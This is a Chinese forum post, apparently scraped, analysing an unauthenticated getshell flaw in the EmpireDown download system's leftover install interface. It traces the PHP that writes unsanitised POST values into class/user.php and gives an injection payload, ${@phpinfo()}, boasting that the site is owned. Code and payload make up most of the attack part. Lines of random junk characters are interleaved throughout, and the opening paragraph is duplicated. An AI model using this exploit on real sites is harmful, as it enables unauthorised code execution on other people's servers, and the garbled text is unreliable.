这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
5 b0 z6 R5 C: H9 W1 B, ]; M9 c
8 X( O9 v: L7 j& R3 h7 H; p/ A6 p5 x' M. R* j
这是帝国的一套下载系统 如图% M4 n& \+ h: q$ f F/ U! u/ t
ps(不需要任何账户和密码,直接写shell)
( m6 m* q" E! W9 P& _8 v" ^由于很多站是由于下载要整合discuz 等等一些论坛.... T( g' w) j9 `8 Q* w5 ~7 E/ @
% F' a5 |. q/ d# q( k6 J而帝国他又有一个万能接口,如图 4 e) O' P9 t% \. \! P8 p2 k+ y! u
/ O6 c. s9 ^, Z' U. [2 V
1 I! k3 Y) x- D* E |- U. }- T
而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码- K2 h5 y) Z8 X# d* d% s: A
& g) R0 `) a2 u2 J; p' j
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
, t: [( k+ A4 S d2 Q% G
2 ]1 H% z- `) z; J) a' d在data/fun.php中的15行2 t8 J3 x& q* v' I' q7 {* |8 C& |5 a9 v
9 F4 j2 b5 M U6 E( K% s+ k3 |: K我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {
* A. H1 A2 _. h/ R, J17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
{: `& }, F" B9 K% P, Y' u2 o6 P M4 F, V1 a
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);5 T+ w. a2 j% V7 Z
g' V% @% q: E: Y% J. i他将传进来的变量进行了切割,然后赋给了$filetext1 h/ ^) f, e' l0 w) `1 ~
{+ B( Y" @$ g8 K8 C$ b
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了 \; B0 r; n& b) X! v9 H
8 S7 O& k d/ p" d% c0 y) r我们看看写入的结果,随便填一个
6 j2 o! b# x0 i B( y: N& d3 l
+ `3 H7 V' b* m' ^1 a
6 p+ D/ _5 m% z) T# T3 r: E6 I# b' E& z: D+ C" f
/ w1 E; i% H; g+ B5 X
& C5 U! ~+ f1 F1 T2 ~! @1 c0 q
# z) [+ m# _6 i" s* [$ o
+ E# S4 v% m: t; m4 \! L" K
: H, I8 K+ C& R1 A. _# A
! p# E. G! R. R2 k/ e- _5 P) F! U
3 W$ P% O) V! I- h4 q. ?8 L& U2 t% I. |, _% L
" K+ g9 [1 V- W& d# U
& l5 k$ T2 e' R, x; }
- Y! q- y) T# @8 Q+ m$ d: ^) H) R! \: h7 M
8 d" r" O% k& i. u O# G+ `2 C8 b3 f# q* b8 r _* e3 ~- Z8 P
5 H( s) A1 b2 ]1 I
% C4 W- B" T7 h" [7 f# v% Z6 q# s6 n- M9 ^3 w& X/ d$ n5 P6 o
- p) X! d, S' X3 m6 @6 d所以我们淫荡点,写个${@phpinfo()}试试 ) O8 w: ^8 E! {* k$ @/ N4 V
然后访问以下class/user.php这个文件+ C) a" g. z3 V0 k
日了吧
; u+ p. }: k! [$ A0 N% y/ ?. v" S# x3 q! {
$ n4 G$ O9 H% s; i& ]* R, o$ D3 \( q7 d
* {$ m0 _3 o' p- \9 r: ^
' L D4 j( u3 d |